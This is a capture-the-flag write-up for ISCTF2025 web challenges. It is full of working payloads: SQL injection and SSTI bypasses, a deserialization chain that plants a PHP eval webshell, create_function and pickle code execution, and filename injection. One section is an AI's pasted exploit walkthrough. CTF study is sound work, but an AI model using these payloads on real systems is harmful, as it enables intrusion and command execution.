ISCTF2025-WEB-WP

ISCTF2025-WEB-WP

b@by n0t1ce b0ard

在 LamentXU的github上可以找到模板,或者直接审计

在registration.php中存在文件上传,对后缀没有检查

图片

图片
然后访问上传的马即可,路径没显示,但是师傅已经给出了路径

图片

flag到底在哪

考察万能密码(爆破万能密码说是。。。)

根据提示看robots.txt

图片

访问,提示用户名admin,这里卡了很久,想了万能密码,想了爆破,最后还是万能密码出了,闭合符是',不含有注释符,or被ban了,用OR

payload:

1' OR '1'='1

图片

重定向后到/admin/upload.php,显示找不到url,结合之前dir扫到的路径,应该是根目录的upload.php,尝试访问/upload.php,传马

图片

难过的bottle

源码如下:

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil


# hint: flag is in /flag

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
    """检查内容是否包含黑名单中的关键词(不区分大小写)"""
    content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
    """安全解压ZIP文件(防止路径遍历攻击)"""
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.infolist():
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError("非法文件路径: 路径遍历攻击检测")
            
            zf.extract(member, extract_dir)

@route('/')
def index():
    """首页"""
    return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ZIP文件查看器</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>
    <div class="container">
        <div class="row justify-content-center" id="index-page">
            <div class="col-md-8 text-center">
                <div class="card">
                    <div class="card-body p-5">
                        <div class="emoji-icon">📤</div>
                        <h2 class="card-title">轻松查看ZIP文件内容</h2>
                        <p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
                        <div class="mt-4">
                            <a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
                                📁 上传ZIP文件
                            </a>
                            <a href="#features" class="btn btn-outline-secondary btn-lg px-4">
                                ℹ️ 了解更多
                            </a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="row mt-5" id="features">
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">🛡️</div>
                        <h4>安全检测</h4>
                        <p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">📄</div>
                        <h4>内容预览</h4>
                        <p>直接在线查看ZIP文件中的文本内容,无需下载</p>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">⚡</div>
                        <h4>快速处理</h4>
                        <p>高效处理小于1MB的ZIP文件,快速获取内容</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    '''

@route('/upload')
def upload_page():
    """上传页面"""
    return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传ZIP文件</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>
    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header bg-primary text-white">
                        <h4 class="mb-0">📤 上传ZIP文件</h4>
                    </div>
                    <div class="card-body">
                        <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
                            <div class="mb-3">
                                <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
                                <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
                                <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">
                                📤 上传文件
                            </button>
                        </form>
                    </div>
                </div>
                <div class="text-center mt-4">
                    <a href="/" class="btn btn-outline-secondary">
                        ↩️ 返回首页
                    </a>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    '''

@post('/upload')
def upload():
    """处理文件上传"""
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return '请上传有效的ZIP文件'
    
    zip_file.file.seek(0, 2)  
    file_size = zip_file.file.tell()
    zip_file.file.seek(0)  
    
    if file_size > MAX_FILE_SIZE:
        return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
    
    timestamp = str(time.time())
    unique_str = zip_file.filename + timestamp
    dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
    os.makedirs(extract_dir, exist_ok=True)
    
    zip_path = os.path.join(extract_dir, 'uploaded.zip')
    zip_file.save(zip_path)
    
    try:
        safe_extract_zip(zip_path, extract_dir)
    except (zipfile.BadZipFile, ValueError) as e:
        shutil.rmtree(extract_dir) 
        return f'处理ZIP文件时出错: {str(e)}'
    
    files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
    
    return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传成功</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>

    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header bg-success text-white">
                        <h4 class="mb-0">✅ 上传成功!</h4>
                    </div>
                    <div class="card-body">
                        <div class="alert alert-success" role="alert">
                            ✅ 文件已成功上传并解压
                        </div>

                        <h5>文件列表:</h5>
                        <ul class="list-group mb-4">
                            % for file in files:
                            <li class="list-group-item d-flex justify-content-between align-items-center">
                                <span>📄 {{file}}</span>
                                <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
                                    查看
                                </a>
                            </li>
                            % end
                        </ul>

                        % if files:
                        <div class="d-grid gap-2">
                            <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
                                👀 查看第一个文件
                            </a>
                        </div>
                        % end
                    </div>
                </div>

                <div class="text-center mt-4">
                    <a href="/upload" class="btn btn-outline-primary me-2">
                        ➕ 上传另一个文件
                    </a>
                    <a href="/" class="btn btn-outline-secondary">
                        🏠 返回首页
                    </a>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    ''', dir_hash=dir_hash, files=files)

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
    
    if not os.path.exists(file_path):
        return "文件不存在"
    
    if not os.path.isfile(file_path):
        return "请求的路径不是文件"
    
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return "非法访问尝试"
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except:
        try:
            with open(file_path, 'r', encoding='latin-1') as f:
                content = f.read()
        except:
            return "无法读取文件内容(可能是二进制文件)"
    
    if contains_blacklist(content):
        return "文件内容包含不允许的关键词"
    
    try:
        return template(content)
    except Exception as e:
        return f"渲染错误: {str(e)}"

@route('/static/<filename:path>')
def serve_static(filename):
    """静态文件服务"""
    return static_file(filename, root='static')

@error(404)
def error404(error):
    return "讨厌啦不是说好只看看不摸的吗"

@error(500)
def error500(error):
    return "不要透进来啊啊啊啊"

if __name__ == '__main__':
    os.makedirs('static', exist_ok=True)
    
    #原神,启动!
    run(host='0.0.0.0', port=5000, debug=False)

这里先贴出payload:

{{ __import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read() }}

即:

{{__import__('os').popen('cat /flag').read()}}

分析源码,黑名单ban了很多字符,基本上不能构造正常的模板注入,但是后端用的是python,联想到python的全角漏洞

python3为了支持多种语言的输入,会对标识符进行进行标准化,这里有一个值得注意的点:

    if contains_blacklist(content):
        return "文件内容包含不允许的关键词"
    
    try:
        return template(content)
    except Exception as e:
        return f"渲染错误: {str(e)}"

if判断时,调用contains_blacklist函数,对content进行过滤,跟进这个函数:

def contains_blacklist(content):
    """检查内容是否包含黑名单中的关键词(不区分大小写)"""
    content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)

这里所有的操作均是把我们的payload当作字符串来处理的,不会触发NFKC标准化进程,达到绕过的目的,在try中,content被当作源代码来执行,模板引擎遇见{{xxxx}}会对其中的内容进行编译,这里进行了标准化操作,使得我们的payload被解析,输出flag

把payload写入test.tpl(后缀无所谓),压成zip上传,访问即得flag
图片

图片

flag?我就借走了

考察软链接

上来就是一个上传,还提示我会解压到目录,直接考虑软链接

猜测flag在根目录(好猜兄弟)

在linux中新建一个指向该目录的软链接,压成tar包上传,命令如下:

图片

这里文件的后缀不能用jpg等图片格式,会被服务器当成图片解析无输出。。。

图片

ezrce

考察无参rce的构造

<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }

图片

/这种字符都被ban了,数字也被ban了,很难构造出字符了,根据给出的括号和分号,联想到无参rce的构造

我们先看看当前目录有没有flag

?code=print_r(scandir(current(localeconv())));,并没有。。。

图片

这里先给出payload,再做解释:

?code=chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));print_r(scandir(current(localeconv())));show_source(flag);

这个payload其实有点无脑,穿越的次数可以少一点,但是我懒得找,直接上跳十次,现在解析一下这个payload:

localeconv():返回一个包含数字格式信息的数组

current(localeconv()):取出localeconv的第一个元素构造出. (表示当前目录)

scandir(current(localeconv())):扫描当前目录,返回文件数组,在Linux/Windows 目录下,scandir 返回的前两个元素永远是 .(当前目录)和 ..(上级目录),且默认按字母排序,.. 排在 . 后面。

next(scandir(current(localeconv()))):指针后移并返回值,指向..(上级目录)

chdir(next(scandir(current(localeconv()))));目录穿越,chdir--改变当前目录

所以10个上述操作连起来就会连续上跳10次,肯定到了根目录,这个时候再去read或者show_source就能读到flag了

图片

来签个到吧

考察反序列化

源码审计

index.php

<?php
require_once "./config.php";
require_once "./classes.php";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $s = $_POST["shark"] ?? '喵喵喵?';

    if (str_starts_with($s, "blueshark:")) {
        $ss = substr($s, strlen("blueshark:"));

        $o = @unserialize($ss);

        $p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
        $p->execute([$ss]);

        echo "save sucess!";
        exit(0);
    } else {
        echo "喵喵喵?";
        exit(1);
    }
}

$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>

<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>宝宝你是一只猫猫</title>
    <style>
        body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; padding: 24px; }
        textarea { width: 100%; max-width: 800px; height: 120px; font-family: monospace; }
        .recent { margin-top: 20px; max-width: 900px; }
        .note { background:#f7f7f8; padding:10px; border-radius:6px; margin-bottom:8px; font-family: monospace; white-space:pre-wrap; }
        .meta { color:#666; font-size:90%; margin-bottom:6px; }
        .btn { padding:8px 14px; border-radius:6px; border:1px solid #ccc; background:#fff; cursor:pointer; }
    </style>
</head>
<body>
<h1>SharkHub</h1>

<form method="POST" style="max-width:900px; margin-bottom:18px;">
    <p>你喜欢小蓝鲨吗?</p>
    <br/>
    <!--
    <textarea id="s" name="shark" placeholder=""></textarea><br/>
    <br/>
    <button class="btn" type="submit">commit</button>
    -->
</form>

<div class="recent">
    <h2>Recent</h2>
    <?php foreach ($rows as $r): ?>
        <div class="note">
            <div class="meta">#<?= htmlspecialchars($r['id'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
            <div><?= htmlspecialchars($r['content'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
        </div>
    <?php endforeach; ?>
</div>
</body>
</html>

可以看到这里有个反序列化的入口,而且判断我们的输入必须以blueshark:开头,后面的内容会被反序列化,我们接着找别的文件

classes.php

<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f=null) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}
?>

这里就是反序列化的关键文件了

找到可以利用的地方,就是这里:

 public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

链子非常之简单,这里依旧给出payload(类中的方法我为了方便查找没有删,不影响最后结果,方法不会被serialize序列化):

<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger("/var/www/html/shell.php");
    }

    public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}
$shi = new ShitMountant("<?php eval(\$_POST['cmd']); ?>");
echo serialize($shi);
?>

先实例化ShitMountant类,传马给到url,后面的一切都帮我们搭建好了

反序列化-->调用ShitMountant的__destruct方法-->调用ShitMountant的fetch方法-->包含传入的url,执行命令-->一句话木马被写入shell.php

序列化结果:

O:12:"ShitMountant":2:{s:3:"url";s:29:"<?php eval($_POST['cmd']); ?>";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:7:"content";s:0:"";}}

拼接上blueshark:后访问shell.php路由就可以肆无忌惮的执行命令了

图片

mv_upload

考察mv操作符和恶意文件名构造

图片

这里考察的是-S操作符,对于已经存在的文件,-S操作符会替换备份文件的后缀(可指定),从而达到构造恶意php文件,从而getshell

预期构造命令:mv -S php t. ./var/www/html/upload/

这段命令会将后缀php拼接到文件t.后,被服务器当作php文件执行

所以我们用bp抓包,传入三个文件,文件名分别为'-S','php','t.'

在本地起环境来看看实现过程:

1.先上传一遍t.文件

图片

2.再依次传入'-S','php','t.'三个文件(值得注意的是,t.这个文件的名字不是任意的,如果传入1.,顺序会被打乱,命令就不会按照预期的情况执行,导致构造失败)

图片

图片

然后上传至目标目录,就是在这一步,执行了我们构造的恶意命令,t.和php成功的被拼接起来了

图片

到这里就可以蚁剑连接或者命令执行了

Bypass

先贴出源码:

 <?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a,$b);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a,$b)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a, $b) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }  
}


if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
} 
关键代码在这:$a("", $b);

这里联想到creat_function,抓包看下php版本(create_function在php7.3中被废弃,在php8.0中被移除,所以php版本十分重要):

图片

这里是php7.1,那就是这个方法了

我们先看看create_function的实现是怎么样的:

function create_function($args, $code) {
    $virtual_code = "function lambda_func($args) { $code }"; 
    eval($virtual_code);
}

从中我们可以看出,这个函数实际上是创建了一个匿名函数,放入eval中执行命令,这给了我们极大的构造空间

第一个参数可以不传,表示方法不需要传入值,第二个参数构造}闭合掉匿名函数,;开启下个命令,//注释掉后面的}",就可以开始操作了

我们构造};system('ls /');//,但是这里对$b有过滤,我们使用8进制绕过(16进制也行,但是c会被waf,异或一下也能写)

然后反序列化:

ls /; :

?exp=O%3A4%3A"FLAG"%3A2%3A{s%3A7%3A"%00FLAG%00a"%3Bs%3A15%3A"create_function"%3Bs%3A4%3A"%00*%00b"%3Bs%3A48%3A"}"\163\171\163\164\145\155"("\154\163\40\57")%3B%2F%2F"%3B}

cat /f*; :

?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A59%3A%22%7D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C52%22%29%3B%2F%2F%22%3B%7D

图片

双生序列

这题ai能解,而且解释的非常清楚,所以这里直接给出ai的解析

这是一个非常精妙的 “多阶段、多语言” 联合漏洞利用题目。你需要通过 PHP 的反序列化(POP 链)来铺设环境,最后触发 Python 的反序列化漏洞来执行系统命令。

以下是完整的源码审计和攻击路径分析。

  1. 架构总览

整个攻击流程分为三个阶段,涉及三个主要文件:

  1. index.php (入口)
    • 允许你存入以 blueshark: 开头的任意字符串到数据库。
    • 作用:这是我们注入序列化 Payload 的入口(Stored Object Injection)。
  2. api.php (铺路)
    • 读取数据库中的内容,并反序列化(允许 Bridge, Writer, Shark 类)。
    • 作用:这是 PHP POP 链的触发点。我们需要利用它在服务器的 /tmp/ssxl/ 目录下生成两个关键文件:
      • write.bin + write.meta:给 Python 用的恶意数据包。
      • run.bin:给 run.php 用的序列化对象。
  3. run.php (引爆)
    • 读取 /tmp/ssxl/run.bin 并反序列化(只允许 Pytools 类)。
    • 作用:反序列化 Pytools 对象会触发系统命令 python3 pytools.py,从而读取 write.bin 并最终执行 RCE。

  1. PHP POP 链构造 (The Setup)

我们需要构造一个 Bridge 对象,它连接了 WriterShark

链条逻辑:

  1. 触发点api.php$o = unserialize(...); $r = $o->fetch();
  2. 第一步 (Bridge)
    • Bridge::fetch() 访问 $this->write
    • 触发 Bridge::__get('write')
    • __get 内部调用 $this->writer->fetch()
  3. 第二步 (Writer - 生成 Python Payload)
    • Writer::fetch() 调用 write_all()
    • write_all() 将我们预先 Base64 编码的 Python Payload 写入 /tmp/ssxl/write.bin,并使用密钥 kaqikaqi 生成签名写入 write.meta
    • 注意:目录 /tmp/ssxl 可能不存在。利用 Writer::__wakeup() -> $this->init() 来创建目录。设置 $init = "init"
  4. 第三步 (Shark - 生成 PHP Trigger)
    • 回到 Bridge::__get,它返回 $this->shark
    • api.php 接着执行 echo ... $r(此时 $r 是 Shark 对象)。
    • echo 触发 Shark::__toString()
    • __toString 调用 apply(),将我们预先准备好的 Pytools 序列化字符串写入 /tmp/ssxl/run.bin

  1. Python 漏洞利用 (The RCE)

pytools.py 存在两个漏洞,结合起来可以 RCE。

  1. 密钥同步绕过:Python 脚本先反序列化对象,读取其中的 secret 属性,然后才用这个 secret 去校验签名。
    • PHP 的 Writer 类使用固定密钥 "kaqikaqi" 签名。
    • 只要我们在 Python Payload 里也设置 secret = b"kaqikaqi",签名校验就能通过。
  2. Pickle RCE:通过第一层校验后,脚本会读取 payload 属性并进行 pickle.loads(payload)。这里没有白名单限制,可以直接 RCE。

  1. 完整的 EXP 生成脚本

你需要两个脚本:一个生成 Python 的 Payload,一个生成最终提交给 PHP 的 Payload。

第一步:生成 Python Payload (run locally)

import pickle
import base64

# ==========================================
# 1. 定义与服务器一致的类结构
# ==========================================
class Set:
    def __init__(self):
        # 必须是 kaqikaqi,与 PHP Writer 类同步
        self.secret = b"kaqikaqi" 
        self.payload = b""

# ==========================================
# 2. 构造 RCE Payload (使用 exec 兼容所有系统)
# ==========================================
class RCE:
    def __reduce__(self):
        # 使用 exec 动态执行代码,避免直接序列化 os.system 带来的 nt/posix 兼容性问题
        # 1. 尝试找 flag (通常在根目录 /flag 或 /flag.txt)
        # 2. 将结果写入 /tmp/ssxl/outs.txt (题目要求)
        
        # 这里的命令非常关键,建议用 ls / 先探路,或者直接 cat /flag
        cmd = "import os; os.system('cat /flag > /tmp/ssxl/outs.txt')"
        
        # 如果你不确定 flag 在哪,可以用这个命令列出根目录文件:
        # cmd = "import os; os.system('ls -la / > /tmp/ssxl/outs.txt')"
        
        return (exec, (cmd,))

# ==========================================
# 3. 生成 Payload
# ==========================================
outer = Set()
outer.payload = pickle.dumps(RCE())

# 生成最终数据
final_pickle = pickle.dumps(outer)
print("请复制下面的 Base64 字符串到 PHP 脚本中:")
print("---------------------------------------------------")
print(base64.b64encode(final_pickle).decode())
print("---------------------------------------------------")

第二步:生成 PHP Payload (run locally)

<?php
// === 类定义 (精简版,只保留属性) ===

class Writer {
    public $b64data = "";
    public $init = 'init'; // 关键:让 wakeup 调用 init() 创建目录 /tmp/ssxl
    private $secret = "kaqikaqi"; 

    public function __construct($data) {
        $this->b64data = $data;
    }
}

class Pytools {
    // 这是一个空类,序列化它只是为了写入 run.bin
    // run.php 反序列化它时,会加载服务器上的 Pytools 类定义并执行 run()
}

class Shark {
    public $ser = "";
    public function __construct($s) {
        $this->ser = $s;
    }
}

class Bridge {
    public $writer;   
    public $shark;
    public function __construct($w, $s) {
        $this->writer = $w;
        $this->shark = $s;
    }
}

// === 构造 Payload ===

// 1. 填入 Python 脚本生成的 Base64 字符串
$python_payload = "gASVmgAAAAAAAACMCF9fbWFpbl9flIwDU2V0lJOUKYGUfZQojAZzZWNyZXSUQwhrYXFpa2FxaZSMB3BheWxvYWSUQ12ABJVSAAAAAAAAAIwIYnVpbHRpbnOUjARleGVjlJOUjDZpbXBvcnQgb3M7IG9zLnN5c3RlbSgnY2F0IC9mbGFnID4gL3RtcC9zc3hsL291dHMudHh0JymUhZRSlC6UdWIu";

// 2. 构造 run.bin 的内容 (序列化的 Pytools 对象)
$pytools_payload = serialize(new Pytools());

// 3. 组装 POP 链
$writer = new Writer($python_payload);
$shark = new Shark($pytools_payload);
$bridge = new Bridge($writer, $shark);

// 4. 生成最终 Payload,加上前缀
$final_payload = "blueshark:" . serialize($bridge);

echo $final_payload;
?>

//结果:blueshark:O:6:"Bridge":2:{s:6:"writer";O:6:"Writer":3:{s:7:"b64data";s:220:"gASVmgAAAAAAAACMCF9fbWFpbl9flIwDU2V0lJOUKYGUfZQojAZzZWNyZXSUQwhrYXFpa2FxaZSMB3BheWxvYWSUQ12ABJVSAAAAAAAAAIwIYnVpbHRpbnOUjARleGVjlJOUjDZpbXBvcnQgb3M7IG9zLnN5c3RlbSgnY2F0IC9mbGFnID4gL3RtcC9zc3hsL291dHMudHh0JymUhZRSlC6UdWIu";s:4:"init";s:4:"init";s:14:" Writer secret";s:8:"kaqikaqi";}s:5:"shark";O:5:"Shark":1:{s:3:"ser";s:18:"O:7:"Pytools":0:{}";}}
  1. 攻击步骤

  2. 生成 Payload

    • 先运行 Python 脚本得到 Base64。
    • 将 Base64 填入 PHP 脚本,运行 PHP 脚本得到最终字符串(以 blueshark: 开头)。
  3. 注入 (Index.php)

    • 发送 POST 请求到 index.php
    • 参数:s=blueshark:O:6:"Bridge":... (即上面的完整字符串)。
    • 服务器会返回保存成功。
  4. 查看 ID

    • 刷新 index.php,在 "Recent" 列表中找到你刚刚提交的那条记录,记下它的 #id (例如 #15)。
  5. 铺路 (Api.php)

    • 访问 api.php?id=15 (替换为你记下的 ID)。
    • 预期结果:页面显示 "喵喵喵!"。
    • 后台发生了什么
      • 反序列化了 Bridge
      • Writer 创建了目录 /tmp/ssxl,写入了 write.bin (恶意 Pickle) 和 write.meta
      • Shark 写入了 run.bin (序列化的 Pytools 对象)。
  6. 引爆 (Run.php)

    • 访问 run.php?action=run
    • 后台发生了什么
      • 反序列化 run.bin -> 得到 Pytools 对象。
      • 调用 blueshark() -> 触发 __call -> run()
      • 执行 python3 pytools.py
      • Python 脚本加载 write.bin,用 kaqikaqi 验签通过,反序列化 RCE。
      • 命令执行 cat /flag > /tmp/ssxl/outs.txt
      • Python 脚本读取 outs.txt 并打印。
    • 预期结果:Flag 会直接显示在页面响应中(或者包含在 Pytools 的 log 输出里)。

图片

ezpop

先贴源码:

 <?php
error_reporting(0);

class begin {
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }
    function __destruct() {
        echo $this->var1;
    }

    public function __toString() {
        $newFunc = $this->var2;
        return $newFunc();
    }
}


class starlord {
    public $var4;
    public $var5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->var4;
        return $function();
    }

    public function __get($arg1) {
        $this->var5->ll2('b2');
    }
}

class anna {
    public $var6;
    public $var7;

    public function __toString() {
        $long = @$this->var6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->var7->tt2) {
            echo "yamada yamada";
        }
    }
}

class eenndd {
    public $command;

    public function __get($arg1) {
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";
        }else {
            eval($this->command);
        }
    }
}

class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;
        }
    }
}


if (isset($_POST['ISCTF'])) {
    unserialize($_POST["ISCTF"]);
}else {
    highlight_file(__FILE__);
} 

链子不算太难,但是过滤的空格放在最后真的很难看到,导致被卡了好久。。。

begin::__destruct-->anna::__tostring-->starlord::__call-->flaag::__invoke-->eenndd::__get

完整payload如下(为方便构造和阅读,没有删去方法,不影响答案):

<?php


class begin {
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }



}


class starlord {
    public $var4;
    public $var5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->var4;
        return $function();//3
    }

    public function __get($arg1) {
        $this->var5->ll2('b2');
    }
}

class anna {
    public $var6;
    public $var7;

    public function __toString() {
        $long = @$this->var6->add();//4
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->var7->tt2) {
            echo "yamada yamada";
        }
    }
}

class eenndd {
    public $command;

    public function __get($arg1) {
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";
        }else {
            eval($this->command);//shell
        }
    }
}

class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;//2
        }
    }
}



//begin::__destruct-->anna::__tostring-->starlord::__call-->flaag::__invoke-->eenndd::__get
$end = new eenndd();
$end->command = "passthru('ls\t/');";
$flag = new flaag();
$flag->var11 = '213';
$flag->var10 = $end;
$star = new starlord();
$star->var4 = $flag;
$anna = new anna();
$anna->var6 = $star;
$begin = new begin($anna);
echo urlencode(serialize($begin));

这里system可以被passthru替代,空格使用\t绕过,这里顺带解释一下空格绕过的原理:

简单来说:在 Linux 的命令行眼里,“空格”只是分隔符的一种,Tab(制表符 \t)也是分隔符,它们的地位是完全平等的。

